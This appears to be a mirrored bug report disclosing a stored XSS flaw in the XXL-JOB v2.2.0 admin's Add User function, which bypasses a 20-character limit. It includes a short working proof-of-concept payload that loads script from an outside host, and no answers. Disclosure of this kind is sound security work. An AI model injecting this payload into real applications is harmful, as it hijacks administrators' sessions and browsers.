xxl-job v2.2.0 Add User Stored XSS vulnerabilities . Escape 20 length limit

scyqe7ek  于 2021-11-29  发布在  Java
关注(0)|答案(0)|浏览(199)

Please answer some questions before submitting your issue. Thanks!

Which version of XXL-JOB do you using?

v2.2.0

Expected behavior

Add User。

Actual behavior

Add User Stored XSS vulnerabilities . Escape 20 length limit

Steps to reproduce the behavior

url:https://github.com/xuxueli/xxl-job/blob/master/xxl-job-admin/src/main/java/com/xxl/job/admin/controller/UserController.java

poc: <script/src=//14.rs>

The page automatically loads and triggers XSS

Other information

Restoration suggestions:

暂无答案!

目前还没有任何答案,快来回答吧!

相关问题